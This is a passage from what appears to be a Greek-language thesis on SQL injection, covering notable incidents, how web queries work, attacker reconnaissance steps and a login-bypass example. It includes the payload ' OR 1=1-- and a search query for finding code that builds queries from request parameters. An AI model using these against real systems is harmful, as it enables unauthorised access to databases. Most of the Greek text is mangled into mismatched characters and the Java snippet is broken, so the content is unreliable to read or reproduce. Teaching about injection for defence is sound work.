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Πεπίλητη 

 

Σν SQL Injection απνηειεί βαζηθή επίζεζε πνπ ρξεζηµνπνηείηαη είηε γηα λα απνθηήζεη 

θάπνηνο παξάλνµε πξόζβαζε ζε µηα βάζε δεδνµέλσλ είηε γηα λα αλαθηήζεη πιεξνθνξίεο 

απεπζείαο από ηε βάζε. Οη βαζηθέο αξρέο πνπ ραξαθηεξίδνπλ ην SQL Injection είλαη απιέο 

θαη εύθνιεο ζηελ εθηέιεζε θαη ηε δηαρείξηζε. Κάζε πξόγξαµµα ή εθαξµνγή µπνξεί λα είλαη 

εππαζέο ζηελ εηζαγσγή εληνιώλ SQL ζπµπεξηιαµβαλνµέλσλ απνζεθεπµέλσλ δηαδηθαζηώλ 

πνπ εθηεινύληαη µε απεπζείαο ζύλδεζε ζηε βάζε δεδνµέλσλ. Οη δηαδηθηπαθέο εθαξµνγέο 

βξίζθνληαη ζε πςειό θίλδπλν γηα επίζεζε, δεδνµέλνπ όηη ζπρλά έλαο εηζβνιέαο µπνξεί λα 

εθµεηαιιεπηεί ηα ηξσηά ηνπο ζεµεία θάλνληαο SQL Injection απνκαθξπζκέλα ρσξίο 

νπνηαδήπνηε βάζε δεδνµέλσλ ή απζεληηθνπνίεζε.Δπηπρώο, νη επηζέζεηο SQL Injection είλαη 

εύθνιν λα απνηξαπνύλ µε ρξήζε απιώλ πξαθηηθώλ θσδηθνπνίεζεο. Ωζηόζν, θάζε 

παξάµεηξνο πνπ πεξλάεη ζε θάπνηα δπλαµηθή βάζε δεδνµέλσλ µέζσ θάπνηαο εληνιήο SQL, 

ζα πξέπεη λα είλαη επηθπξσµέλε ή αιιηώο λα δεζµεπηνύλ µεηαβιεηέο πνπ πξέπεη 

ππνρξεσηηθά λα ρξεζηµνπνηνύληαη.Σν SQL Injection είλαη έλαο από ηνπο πνιινύο δηθηπαθνύο 

µεραληζµνύο επίζεζεο πνπ ρξεζηµνπνηνύληαη από ράθεξ µε ζθνπό ηελ θινπή ησλ δεδνµέλσλ 

από ηηο δηάθνξεο web εθαξµνγέο. Δίλαη ίζσο µία από ηηο πην θνηλέο ηερληθέο επίζεζεο ζε 

επίπεδν εθαξµνγήο πνπ ρξεζηµνπνηνύληαη ζήµεξα. Σν είδνο απηό ηεο επίζεζεο 

εθµεηαιιεύεηαη ηηο δπλαηόηεηεο ηεο µε εμνπζηνδνηεµέλεο θσδηθνπνίεζεο ησλ web 

εθαξµνγώλ πνπ επηηξέπνπλ ζηνπο ράθεξ λα πξνζζέζνπλ εληνιέο SQL γηα παξάδεηγµα, ζε 

θάπνηα login θόξµα γηα λα ηνπο επηηξέςεη λα απνθηήζνπλ πξόζβαζε ζηα δεδνµέλα εληόο ηεο 

βάζεο δεδνµέλσλ. ΢ηελ νπζία, ην SQL Injection νθείιεηαη ζην γεγνλόο όηη ηα δηαζέζηµα 

πεδία ηνπ ρξήζηε επηηξέπνπλ ζε SQL εληνιέο λα πεξάζνπλ θαη λα “ξσηήζνπλ” ηε βάζε 

δεδνµέλσλ άµεζα. 

Γεληθά,κε ηε κέζνδν ησλ SQL injections θαθόβνπινη ρξήζηεο επηδηώθνπλ λα 

εθκεηαιιεπηνύλ εππάζεηεο ζηελ αζθαιεία κηαο εθαξκνγήο web, ώζηε λα επέκβνπλ ζηα 

δεδνκέλα ηεο βάζεο. Χο κέζνδνο επίζεζεο δελ είλαη λέα νύηε πνιύπινθε. Γηα ηελ εθαξκνγή 

ησλ SQL injections αξθεί απιά έλαο web browser.Άιισζηε νη επηζέζεηο SQL injections 

εκθαλίζηεθαλ ηαπηόρξνλα κε ηηο πξώηεο εθαξκνγέο πνπ αλαπηύρζεθαλ ζην 

δηαδίθηπν.΢θνπόο ησλ επίζεζεσλ SQL injections είλαη ε εθκεηάιιεπζε ζπγθεθξηκέλσλ 

αδπλακηώλ κηαο εθαξκνγήο web, ώζηε λα εθηειεζηνύλ ζηε βάζε δεδνκέλσλ αηηήζεηο SQL 

(SQL queries) πνπ δελ έρνπλ πξνβιεθζεί από ηνπο πξνγξακκαηηζηέο.Παξαδείγκαηα ηέηνησλ 

αηηήζεσλ είλαη ε πξνβνιή (SELECT) δεδνκέλσλ πνπ δελ έρεη πξνβιεθζεί λα εκθαλίδνληαη 

ζηνπο ρξήζηεο, ε αλεμέιεγθηε εηζαγσγή (INSERT) δεδνκέλσλ ζηε βάζε θαη ε δηαγξαθή 

(DELETE) δεδνκέλσλ από ηε βάζε.Παξά ην απμεκέλν ξίζθν, ζεσξείηαη ζήκεξα κεγάινο ν 

αξηζκόο ησλ ζπζηεκάησλ ηα νπνία είλαη επάισηα ζηηο επηζέζεηο SQL Injections. Σν ζεηηθό 
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ζηνηρείν είλαη όηη σο απεηιή εύθνια κπνξεί λα δηεξεπλεζεί ζε κηα εθαξκνγή θαη κε 

θαηάιιειε πξόβιεςε λα απνθεπρζεί. ΢ηε ζπγθεθξηκέλε εξγαζία αλαιύνπκε ηε ηερληθή 

επίζεζεο δειεηεξίαζεο θώδηθα.Δπίζεο, παξνπζηάδνληαη δηάθνξα ζελάξηα επίζεζεο κέζσ 

SQL injection θαη πεξηγξάθνπκε πώο ιεηηνπξγεί ε θάζε κέζνδνο επίζεζεο. Γεληθά εζηηάδνπκε 

ζε κία επίζεζε ε νπνία ζπλδέεηαη άκεζα κε εθαξκνγέο πνπ ζρεηίδνληαη κε βάζεηο δεδνκέλσλ 

θαη εκθαλίδνπλ ζηνηρεία από απηέο. Αλαιύνπκε ην πώο κπνξνύκε λα εθκεηαιιεπηνύκε 

αδπλακίεο ηεο βάζεο δεδνκέλσλ θαη ηαπηόρξνλα πσο έρνπκε ηε δπλαηόηεηα λα 

πξνζηαηεπηνύκε από ηέηνηνπ είδνπο επηζέζεηο. 

΢ε απηό ην ζεκείν νθείισ λα επραξηζηήζσ ηνλ επηβιέπνληα θαζεγεηή κνπ θ.Ξελάθε γηα 

ηελ δπλαηόηεηα θαη εκπηζηνζύλε πνπ κνπ έδεημε λα αζρνιεζώ κε ην αληηθείκελν απηό. 

Δπίζεο, ε βνήζεηα θαη ε θαζνδήγεζε ηνπ ήηαλ πνιύηηκε γηα ηελ επίιπζε δηαθόξσλ ζεκάησλ 

θαζώο θαη ηελ νινθιήξσζε ηεο εξγαζίαο απηήο. 
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1.΢ύνηομο Ιζηοπικό 

Οη επηζέζεηο SQL Injection γίλνληαη νινέλα θαη πην ζπρλέο.Απνηεινύλ έλα ζεµαληηθό 

πξόβιεµα γηα πνιιέο εθαξµνγέο θαη επνµέλσο θαη γηα ηηο εηαηξείεο. Υξεζηµνπνηώληαο µηα 

µεραλή αλαδήηεζεο όπσο ην Google, ράθεξο µπνξνύλ λα αλαδεηήζνπλ Web ζειίδεο πνπ 

ρξεζηµνπνηνύλ θόξµεο γηα ηε δηαβίβαζε ησλ δεδνµέλσλ, θαη ζηε ζπλέρεηα λα 

ρξεζηµνπνηήζνπλ SQL Injection ηερληθέο γηα λα εθµεηαιιεπηνύλ ηνλ θώδηθα ηεο θόξµαο. 

Από ηνλ Ιαλνπάξην ηνπ 2006, ε Acunetix πξνζθέξεη µηα δσξεάλ web απηνµαηνπνηεµέλε 

εθαξµνγή ζαξώµαηνο γηα λα πηζηνπνηεί ηηο ηζηνζειίδεο. Από ην ζύλνιν ησλ 10.000 

εθαξµνγώλ, ε Acunetix έρεη ζαξώζεη 3.200 δηθηπαθνύο ηόπνπο πνπ αλήθνπλ είηε ζε 

επηρεηξήζεηο είηε όρη. Βξεζεθε όηη ην 50% ησλ ηζηνζειίδσλ µε πςεινύ βαζµνύ ηξσηά ζεµεία 

είλαη επαίζζεηα ζε SQL Injection, ελώ ην 42% ησλ ηζηνρώξσλ απηώλ ήηαλ επηξξεπήο ζην 

Cross Site Scripting. Άιια ζνβαξά ηξσηά ζεµεία είλαη ην Blind SQL Injection, HTML 

Injection, CRLF Injection,ην HTTP Response Splitting, θαζώο θαη ε δεµνζηνπνίεζε ηνπ 

πεγαίνπ θώδηθα. 

 

Αθνινπζνύλ 4 ζηµανηικά κπούζµαηα SQL Injection  

1. Σν 2004, ε CardSystems Solutions έπεζε ζύµα επίζεζεο SQL Injection. Η εηαηξεία 

επεμεξγαδόηαλ δεδνµέλα πιεξσµώλ εηαηξεηώλ πηζησηηθώλ θαξηώλ. Έηζη θάπνηνο ράθεξ 

ρξεζηµνπνίεζε SQL Injection θαη εγθαηέζηεζε έλα πξόγξαµµα ζηνλ server. Κάζε ηέζζεξηο 

εµέξεο, δεδνµέλα πηζησηηθώλ θαξηώλ µεηαθέξνληαλ ζε έλαλ απνµαθξπζµέλν ππνινγηζηή, ν 

νπνίνο ζηε ζπλέρεηα αλαιάµβαλε  λα θάλεη εθαηνµµύξηα δνιάξηα αγνξώλ µέζσ απηώλ ησλ 

δεδνµέλσλ. Πξηλ αλαθαιπθηεί απηό ην πξόβιεµα, πίζηεπαλ όηη ν hacker είρε θάξηα άλσ ησλ 

40 εθαηνµµπξίσλ. 

 

2. 31/7/2007 – Δπίζεζε SQL Injection ζηελ ηζηνζειίδα ησλ Ηλσµέλσλ Δζλώλ 

 

3. 25/4/2008  

Έλαο εηδηθόο ζηελ αζθάιεηα βάζεσλ δεδνκέλσλ, ν David Litchfield έρεη βξεη έλαλ ηξόπν 

λα ρεηξίδεηαη ηνπο θνηλνύο ηύπνπο δεδνκέλσλ ηεο Oracle, νη νπνίνη δελ θαίλεηαη λα είλαη 

πξνζηαηεπκέλνη, θαη αθήλνπλ λα πεξλνύλ απζαίξεηεο εληνιέο SQL. Η λέα απηή κέζνδνο 

δείρλεη όηη δελ κπνξνύκε πιένλ λα ζεσξνύκε όηη νη ηύπνη δεδνκέλσλ είλαη αζθαιείο από ηελ 

είζνδν ησλ εηζβνιέσλ, αλεμάξηεηα από ηελ ζέζε ηνπο ή ηε ιεηηνπξγία ηνπο. ΢πλεπώο, αθόµε 

θαη νη ιεηηνπξγίεο θαη δηαδηθαζίεο νη νπνίεο δελ ιαµβάλνπλ είζνδν από ηνλ ρξήζηε, µπνξνύλ 

λα αμηνπνηεζνύλ αλ ρξεζηµνπνηήζνπκε ηε ζπλζήθε SYSDATE. Γη‟απηό είλαη αλαγθαίν 

πάληα λα επηβεβαηώλνπκε ηα είδε ησλ µεηαβιεηώλ γηα λα απνηξέςνπκε απηό ην είδνο ηεο 
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εππάζεηαο ζε όιν ηνλ θσδηθό καο.Δπίζεο,δελ πξέπεη πιένλ ν ηύπνο εµεξνµελία ή αξηζµόο λα 

ζεσξνύληαη αζθαιή.  

 

4. 8/5/2008  

Σν Internet Storm Center, ην νπνίν ειέγρεη γηα online απεηιέο, πξνεηδνπνίεζε όηη ηόο 

ηύπνπ worm µνιύλεη επάισηεο ηζηνζειίδεο ζην Web µε µία επίζεζε ζηελ βάζε δεδνµέλσλ 

ηνπο. Θεσξείηαη µηα ζρεηηθά µηθξή επίζεζε ζύµθσλα µε ηα πξόηππα θαζώο πεξίπνπ 4000 

µνιπζµέλεο ηνπνζεζίεο αλαθέξζεθαλ. Η επίζεζε πξνζζέηεη αόξαην θώδηθα ζε µηα 

ηνπνζεζία πνπ µπνξεί λα αλαγθάζεη ηνπο επηζθέπηεο λα θαηεβάζνπλ θάπνην θαθόβνπιν 

ινγηζµηθό ζηνλ ππνινγηζηή ηνπο.   

 

΢ημεία-ζηαθμόρ 

• Η πξώηε αλαθνξά γηα κία ηέηνηνπ είδνπο επίζεζε έγηλε ην Γεθέκβξην ηνπ 1998 κε ηίηιν 

“NT Web Technology Vulnerabilities” 

• ΢ηηο 4 Φεβξνπαξίνπ ηνπ 1999 ν Αllaire δεκηνζηεύεη έξεπλα κε ηίηιν “Multiple SQL 

Statements in Dynamic Queries”. 

• Σξεηο κήλεο αξγόηεξα νη Jeff Forristal θαη Matthew Astley δεκηνζηεύνπλ έλα paper κε 

ηίηιν “NT ODBC Remote Compromise”. 

• To ΢επηέκβξε ηνπ 2000 παξνπζηάδεηαη λέα έξεπλα κε ηίηιν “Application Assessments 

on IIS” ζην Blackhat από ηνλ David Litchfield. 

• Σνλ Φεβξνπάξην ηνπ 2000 δεκνζηεύεηαη έλα άξζξν κε ηίηιν “How I hacked packetstorm 

– A look at hacking wwwthread via SQL” 

• Σνλ Ιαλνπάξην ηνπ 2002 ν Chris Anley δεκνζηεύεη paper κε ηίηιν “Advanced SQL 

Injection in SQL Server Applications”.Ήηαλ ην πξώην ζε βάζνο δεκηνζηεπκέλν άξζξν πνπ 

πεξηέγξαθε ηνλ ηξόπν ιεηηνπξγίαο ηεο επίζεζεο. 

• Σνλ Αύγνπζην ηνπ 2002 ν Cessar Cerrudo δεκηνζηεύεη έλα άιιν paper κε ηίηιν 

“Manipulating SQL Server Using SQL Injection” όπνπ αλαιύεηαη ε εκθάληζε πιεξνθνξηώλ 

από κία βάζε δεδνκέλσλ κέζσ ηεο openrowset δηαδηθαζίαο(function). 

• ΢ηηο αξρέο ηνπ ΢επηεκβξίνπ ηνπ 2003 ν Ofer Maor θαη ν Amichai Shulman 

δεκηνζηεύνπλ paper κε ηίηιν “Blindfolded SQL Injection” 

• ΢ηα ηέιε ηνπ ΢επηεκβξίνπ ηνπ 2003 δεκηνζηεύεηαη λέν paper απηή ηε θνξά από ηελ 

εηαηξείεα Sanctum Inc. κε ηίηιν “Blind SQL Injection”.  

• Σν 2004 ζην Blackhat , ε νκάδα ηνπ 0x90.org δεκνζηεύεη ην SQeal(ηνλ πξόγνλν ηνπ 

Absinthe)  
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2.Γομή Λειηοςπγίαρ ΢ςζηήμαηορ 

2.1.Σπόπορ Λειηοςπγίαρ Γιαδικηςακών Δθαπμογών 

Γηα ηελ αλάιπζε ηεο επίζεζεο απηήο είλαη ζεκαληηθό γηα αξρή λα θαηαλνήζνπκε πώο 

ιεηηνπξγνύλ νη δηάθνξεο web applications θαη πσο πξαγκαηνπνηνύληαη ηα δηάθνξα SQL 

queries.Οη εθαξκνγέο νη νπνίεο ηξέρνπλ ζην δηαδίθηπν θηινμελνύληαη δηα κέζσ ελόο web 

server ,ελόο application server θαη ελόο database server.Από ηνλ browser όια απηά ηα νπνία 

ρξεηάδνληαη γηα λα ηξέμνπκε ηελ εθαξκνγή θσδηθνπνηνύληαη ζε HTTP θαη ζηέιλνληαη ζηνλ 

εμππεξεηεηή ν νπνίνο αλαιύεη ηελ πιεξνθνξία πνπ ηνπ ζηάιζεθε θαη επηζηξέθεη ηα 

αληίζηνηρα δεδνκέλα ζηελ εθαξκνγή.Η πιεξνθνξία απηή ε νπνία ζηέιλεηαη ζε κνξθή 

θεηκέλνπ(plain-text) ζην server θαζηζηά εύθνιν λα ζηαινύλ πίζσ θαθόβνπιεο ή εζθαικέλεο 

πιεξνθνξίεο κε ζθνπό λα πξνθαιέζεη απαληήζεηο από ηε βάζε δεδνκέλσλ γηα ηηο νπνίεο ν 

πξνγξακκαηηζηήο δελ έιεγμε πξνεγνπκέλσο. 

΢ρεδόλ θάζε εθαξκνγή/ηζηνζειίδα αιιειεπηδξά κε κία βάζε δεδνκέλσλ πξνθεηκέλνπ λα 

απνζεθεύεη πιεξνθνξίεο αλαθνξάο (π.ρ ζρεηηθά κε θαπνηα πξνηνληα)  ή πιεξνθνξίεο ζρεηηθά 

κε ηνπο ρξήζηεο.Γηα παξάδεηγκα,έζησ όηη έλαο ρξήζηεο ζπλδέεηαη κε έλα ινγαξηαζκό ζε κία 

ζειίδα,ζηελ νπνία απνθηά ηαπηόρξνλα πξόζβαζε θαη αξρίδεη λα ςάρλεη γηα πξνηόληα ζε έλα 

site ειεθηξνληθνύ εκπνξίνπ.Γηα θάζε πξνηόλ πνπ ςάρλεη νη αηηήζεηο ηνπ(queries) ζα 

εμεηαζηνύλ αξρηθά από ηε ζειίδα θαη έπεηηα ζα γίλεη αλάιπζε από ηε βάζε δεδνκέλσλ γηα λα 

βξεί ηα πξνηόληα ηα νπνία αλαδεηά. 

Γεληθά,ζε θάζε πεξίπησζε ν ρξήζηεο εηζάγεη δεδνκέλα θαη ηα δεδνκέλα απηά 

επεμεξγάδνληαη από ηε βάζε δεδνκέλσλ πξνθεηκέλνπ λα ηνπ πξνζθεξζεί απηό πνπ 

δήηεζε.Έηζη,ελαο επηηηζέκελνο κπνξεί λα εηζάγεη θαθόβνπιε πιεξνθνξία θαη λα πξνθαιέζεη 

ηελ εθαξκνγή λα ηνπ επηζηξέςεη πιεξνθνξίεο νη νπνίεο ιόγσ αδπλακίαο θαη εππάζεηαο ηνπ 

ζπζηήκαηνο θαλνληθά δελ ζα έπξεπε λα επηζηξαθνύλ. 

 

2.2.Σπόπορ Λειηοςπγίαρ SQL επυηημάηυν(queries) 

Η SQL πξσηνεκθαλίζηεθε ην 1969 σο κία γιώζζα γηα αιιειεπίδξαζε κεηαμύ ησλ 

δεδνκέλσλ.Υξεζηκνπνηείηαη θαζαξά γηα ηελ επηθνηλσλία κεηαμύ ζρεζηαθώλ βάζεσλ 

δεδνκέλσλ θαη απνηειεί ην κνλαδηθό κέζν γηα δεκηνπξγία,δόκεζε,αιιαγή αιιά θαη 

αλάθηεζε δεδνκέλσλ ζε κία βάζε. 

H πιεξνθνξία μεθηλά αθνύ αξρηθά βξίζθεηαη κέζα από κία βάζε δεδνκέλσλ,κε δηάθνξεο 

αλαθνξέο ή πίλαθεο νη νπνίνη πξνζζέηνληαη θαη εγθαζίζηαληαη ζε κία εθαξκνγή ε νπνία έρεη 

πξόζβαζε ζε απηή.Απηνί νη πίλαθεο αλαθνξάο απνηεινύληαη από πιεξνθνξία(read-only) ε 

νπνία ρξεζηκνπνηείηαη γηα ηε δόκεζε ηεο ζρέζεο κεηαμύ ησλ ζηνηρείσλ ησλ δεδνκέλσλ όπσο 

γηα παξάδεηγκα αληηζηνηρήζεηο ησλ αλαγλσξηζηηθώλ πξνηόλησλ ζε θαηεγνξίεο ησλ πξνηόλησλ 

απηώλ. 
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Η SQL εθηειείηαη θαλνληθά ρξεζηκνπνηώληαο κία βηβιηνζήθε ζπζηήκαηνο γηα ηε γιώζζα 

ηελ νπνία ρξεζηκνπνηεί ν ρξήζηεο εθείλε ηε ζηηγκή θαη παξέρεη δνκεκέλεο 

δειώζεηο(statements) πνπ επηηξέπνπλ λα θηηάμνπκε SQL statements ηα νπνία λα κπνξνύλ λα 

αλαγλσξίδνληαη από ηε βάζε δεδνκέλσλ.Οη πεξηζζόηεξεο SQL βηβιηνζήθεο κνηξάδνληαη 

θνηλά αληηθείκελα(objects) ηα νπνία ηα ρξεζηκνπνηνύλ γηα λα δηαρεηξίδνληαη SQL δεδνκέλα 

όπσο statements,prepared statements θαη callable statements. 

Απηά ηα αληηθείκελα επίζεο πεξηέρνπλ έλα ζύλνιν κεζόδσλ γηα ηελ επηθνηλσλία κε ηε 

βάζε δεδνκέλσλ όπσο ην update θαη ην query. 

΋ηαλ θάλνπκε κία αίηεζε ζηε βάζε δεδνκέλσλ πξνθεηκέλνπ λα καο επηζηξέςεη 

πιεξνθνξία,ε εθαξκνγή ζα ρξεζηκνπνηήζεη ην API γηα λα θάλεη query αθνινπζώληαο ηα 

παξαθάησ βήκαηα: 

1.΢ύλδεζε ζηε βάζε δεδνκέλσλ κε έλα απνζεθεπκέλν username θαη password 

2.Γεκηνπξγία ελόο SQL statement 

3.Δθηέιεζε ηεο δήισζεο.Σα δεδνκέλα απνζεθεύνληαη θαη επηζηξέθνληαη σο έλα ζύλνιν 

απνηειεζκάησλ. 

4.Έιεγρνο ηνπ θώδηθα επηζηξνθήο γηα λα δνύκε αλ ε αίηεζε εθηειέζηεθε ζσζηά(αλ όρη 

ηόηε πξέπεη λα ζέζνπκε κία εμαίξεζε ζην πξόγξακκα).Αλ ε αίηεζε εθηειεζηεί επηηπρώο ηόηε 

ην πξόγξακκα ζα επεμεξγαζηεί ηα δεδνκέλα πνπ βξίζθνληαη ζε ζεηξέο(rows) θαη 

ζηήιεο(columns) θαη έπεηηα ζα επηζηξέςεη ηα απνηειέζκαηα. 

5.Απνζύλδεζε από ηε βάζε δεδνκέλσλ. 

Από ηε ζηηγκή πνπ ηα δεδνκέλα αλαθηώληαη  θαη παξνπζηάδνληαη από έλα πξόγξακκα,δελ 

έρεη νπζηαζηηθά ζεκαζία ηη είδνπο δεδνκέλα ζα επηζηξαθνύλ θαζώο επεμεξγάδνληαη 

απνθιεηζηηθά από ην ίδην ην πξόγξακκα.Αλ όκσο ζηείινπκε κία αίηεζε ε νπνία πεξηέρεη 

δηαθνξεηηθνύο πίλαθεο θαη έρνπκε ηξνπνπνηήζεη ην πεξηερόκελν ηεο εληνιήο where ηόηε ζα 

επηζηξαθεί έλα απνηέιεζκα ην νπνίν ν πξνγξακκαηηζηήο δελ είρε πξνβιέςεη. 
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3.Ανάκηηζη δεδομένυν από μία βάζη δεδομένυν 
 

Βήκα 1
ν
 

Γηα λα αλαθηήζεη δεδνκέλα κία ηζηνζειίδα,πξέπεη ε πιεξνθνξία λα είλαη θσδηθνπνηεκέλε 

ζε HTTP.O επθνιόηεξνο ηξόπνο γηα λα δηαρεηξίζηνπκε δεδνκέλα ζε κία εθαξκνγή είλαη 

κέζσ ελόο απινύ νλόκαηνο/δεπγαξηνύ όπσο user=mnystrom θαη productID=PN-5632.΢ηηο 

πεξηζζόηεξεο εθαξκνγέο ηα νλόκαηα γίλνληαη παξάκεηξνη νη νπνίεο έπεηηα κεηαηξέπνληαη ζε 

database queries πξνθεηκέλνπ λα βξνύλ πεξηζζόηεξεο πιεξνθνξίεο γηα ην ρξήζηε,ην πξνηόλ 

θ.ν.θ. 

΋ηαλ ην δεπγάξη νλόκαηνο/ηηκήο κεηαθέξνληαη καδί κε ηελ αίηεζε απηνκάησο 

ρξεζηκνπνηνύληαη θαη γηα επεμεξγαζία.Παξαθάησ θαίλεηαη έλα θνκκάηη κίαο αίηεζεο ζε Java 

ην νπνίν ρξεζηκνπνηεί ηαπηόρξνλα ηελ ηηκή γηα ηελ παξάκεηξν name από ην HTTP request: 

 

Public class Hello extends HttpServlet 

{         public void doGet 

               (HttpServlet Request req,HttpServletResponse res) 

           throws ServletException, IOException 

           (String name = req.getParameter(―name‖); 

} 

 

 

Βήκα 2
ν
:Γηεξεπλώληαο ηηο εππάζεηεο 

Αθνύ ν επηηηζέκελνο έρεη αλαθαιύςεη ηη ηξέρεη ζην πεξηβάιινλ ηνπ ζύκαηνο,κπνξεί λα 

εμεηάζεη πνπ είλαη επάισην ην ζύζηεκα γηα λα επηηεζεί.Γηα λα πξαγκαηνπνηήζεη απηό κπνξεί 

λα ρξεζηκνπνηήζεη απηνκαηνπνηεκέλα εξγαιεία όπσο ην Nessus θαη ην Nikto γηα λα 

αλαθαιύςεη αδπλακίεο ζηνλ εμππεξεηεηή.Μέζσ ηνπ Nessus ν επηηηζέκελνο έρεη ηε 

δπλαηόηεηα λα δηεξεπλήζεη ππεξεζίεο πνπ αθνξνύλ ζπγθεθξηκέλεο αδπλακίεο. 

Δάλ ην πεξηβάιινλ ζην νπνίν δνπιεύεη ν ρξήζηεο έρεη δερζεί ζσζηή επεμεξγαζία ηόηε ν 

επηηηζέκελνο ζα πξέπεη λα πξαγκαηνπνηήζεη δηθέο ηνπ επηζέζεηο ελαληίνλ ησλ εθαξκνγώλ. 

Γηα λα ην θάλεη απηό ζα πξέπεη λα «εμαπαηήζεη» ηελ εθαξκνγή εηζάγνληαο εζθαικέλα 

δεδνκέλα γηα λα δεη ηη απνηειέζκαηα επηζηξέθνληαη.Από ηελ άιιε κεξηά κπνξεί ηαπηόρξνλα 

λα ζηείιεη κεγάιν ζε κήθνο δεδνκέλσλ θαη γλσζηνύο ραξαθηήξεο κεηαδεδνκέλσλ(όπσο 

„~‟).Απηό κπνξεί λα επηηεπρζεί επίζεο κε ηε βνήζεηα εξγαιείσλ αλίρλεπζεο εππάζεηαο ηα 

νπνία είλαη δηαζέζηκα ειεύζεξα ζην δηαδίθηπν. 
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Βήκα 3
ν
:Δπίζεζε 

Οη εθαξκνγέο πνπ είλαη επάισηεο ζε SQL Injection επηζέζεηο δελ είλαη δύζθνιν λα 

βξεζνύλ εηδηθόηεξα όηαλ ςάρλνπκε αλάκεζα ζε εθαξκνγέο ειεύζεξνπ 

ινγηζκηθνύ.Υξεζηκνπνηώληαο ην Google Code Search έρνπκε έλαλ εύθνιν ηξόπν γηα λα 

αλαθαιύςνπκε ηέηνηνπ είδνπο εθαξκνγέο.Γηα παξάδεηγκα κπνξνύκε λα δεκηνπξγήζνπκε έλα 

query ην νπνίν ζα αλαδεηά γηα εππαζείο Java εθαξκνγέο.Δθαξκνγέο νη νπνίεο ρξεζηκνπνηνύλ 

ηελ εληνιή executeQuery αληί  κία έηνηκε δήισζε είλαη πηζαλνί ζηόρνη,εηδηθόηεξα όηαλ 

εκθαλίδνληαη λα ρξεζηκνπνηνύλ λα παξακέηξνπο νη νπνίεο πξνέξρνληαη από HTTP αίηεζε(ε 

getParameter κέζνδνο).Η αθόινπζε δηεύζπλζε θαηαγξάθεη κία αλαδήηεζε ζην Google Code 

Search θαη ηα απνηειέζκαηα θαίλνληαη ζην παξαθάησ ζρήκα: 

http://google.com/codesearch?hl=en&lr=&q=%22executeQuery%28%22+%22.getParame

ter%28%22&btnG=Search 

 

 

΢σήμα 1: Μία αλαδήηεζε ζην Google Code Search αλαδεηά πεξίπνπ 2000 εππαζή 

παξαδείγκαηα. 

 

΋πσο κπνξνύκε λα δνύκε,ε αίηεζε απηή γηα εππαζείο εθαξκνγέο αλαδεηά ρηιηάδεο 

απνηειέζκαηα.Μεξηθέο από απηέο ηηο εθαξκνγέο εκθαλίδνπλ λα πεξλάλε ηηο κεηαβιεηέο ηνπο 

ζηελ αίηεζε,ην νπνίν ίζσο ππνδεηθλύεη όηη ιήθζεθαλ από δεδνκέλα ηνπ ρξήζηε.Δάλ 

κειεηήζνπκε ηε ιίζηα αλαιπηηθά,ζα δνύκε όηη ππάξρνπλ παξαδείγκαηα κε ρξήζε θώδηθα ηα 

νπνία είλαη θαζαξά εππαζή,ζεσξώληαο πάληα όηη ππάξρεη έλαο ηξόπνο λα εμαπαηήζνπκε ηηο 

κεηαβιεηέο εηζόδνπ(δειαδή ηηο κεηαβιεηέο πνπ πξνέξρνληαη από ελέξγεηα ηνπ ρξήζηε). 

http://google.com/codesearch?hl=en&lr=&q=%22executeQuery%28%22+%22.getParameter%28%22&btnG=Search
http://google.com/codesearch?hl=en&lr=&q=%22executeQuery%28%22+%22.getParameter%28%22&btnG=Search
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4.Αναλύονηαρ ηην SQL Injection 
 

Οη βαζηθέο αξρέο πίζσ από κία ηέηνηα επίζεζε είλαη απιέο θαη απηά ηα είδε ησλ 

επηζέζεσλ είλαη εύθνιν λα εθηειεζηνύλ. Γηα λα εθκεηαιιεπηνύκε έλα ειάηησκα κέζσ 

δειεηεξίαζεο SQL θώδηθα, ν επηηηζέκελνο πξέπεη λα βξεί κία παξάκεηξν ε νπνία κέζσ ηεο 

ηζηνζειίδαο ζα πεξαζηεί ζηε βάζε δεδνκέλσλ. Δηζάγνληαο θαηάιιειεο θαθόβνπιεο εληνιέο 

ζην πεξηερόκελν ηεο παξακέηξνπ ν επηηηζέκελνο έρεη ηε δπλαηόηεηα λα “κπεξδέςεη” ηελ 

εθαξκνγή(web application) ζηέιλνληαο θαθόβνπιε αίηεζε ζηε βάζε δεδνκέλσλ. 

Γηα παξάδεηγκα αο ζεσξήζνπκε όηη έρνπκε κία θόξκα ζύλδεζεο ε νπνία δεηάεη από ην 

ρξήζηε ην username θαη ην password. 

 

Οη ηηκέο νη νπνίεο εηζάγνληαη ζηα θελά ησλ username θαη password ρξεζηκνπνηνύληαη γηα 

λα ρηίζνπλ κία SQL αίηεζε(query) όπσο: 

SELECT * FROM customers 

WHERE name = ‗ & name & ‘ AND password = ‗ & password 

 

Σώξα, αο ππνζέζνπκε όηη ν ρξήζηεο εηζάγεη γηα username=”Admin” θαη γηα 

password=”magic”.Σν λέν αίηεκα πνπ ζα δεκηνπξγεζεί ζα είλαη ην αθόινπζν: 

SELECT * FROM customers 

WHERE name = ‗ Admin‘ AND password = ‗ magic‘ 

 

Σν παξαπάλσ ζα δνπιέςεη ρσξίο θαλέλα πξόβιεκα. Από ηελ άιιε κεξηά όκσο ν ρξήζηεο-

επηηηζέκελνο έρεη ηε δπλαηόηεηα λα εηζάγεη ζηνηρεία ηα νπνία λα κπνξνύλ λα δηαπεξάζνπλ 

ηελ απζεληηθνπνίεζε θαη λα έρεη πξόζβαζε ζε πιεξνθνξίεο ηεο βάζεο δεδνκέλσλ. 

Γηα παξάδεηγκα αλ ν ρξήζηεο εηζάγεη σο username=‟OR 1=1--„ ηόηε ε αίηεζε ζα πεξαζηεί 

σο εμήο: 

SELECT * FROM customers 

WHERE name = ‗‘ OR 1=1--‘ AND password = ‗ ‘; 

 

Σν παξαπάλσ νλνκάδεηαη ηαπηνινγία θαη νξίδεηαη σο εμήο: 

‘ : θιείλεη ην πεδίν εηζαγσγήο ηηκώλ ηνπ ρξήζηε 

OR : ζπλερίδεη ην SQL query έηζη ώζηε ε δηαδηθαζία λα είλαη ίζε κε όηη πξνεγήζεθε πξίλ 

εηζαρζεί ην OR αιιά θαη κεηά. 

1=1: Γειώλεη έλα statement ην νπνίν είλαη πάληα ζηαζεξό 

--: Γελ δηαβάδεη ην ππόινηπν ησλ γξακκώλ έηζη ώζηε λα κελ επεμεξγαζηεί 
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Σα δεδνκέλα ηα νπνία εκείο εηζάγνπκε ζηε θόξκα θάλνπλ ρξήζε ηεο ζπλζήθεο 

WHERE.Καη επεηδή νη εθαξκνγέο δελ πξνβιέπνπλ ην πώο ζα ρξεζηκνπνηεζεί έλα query,ην 

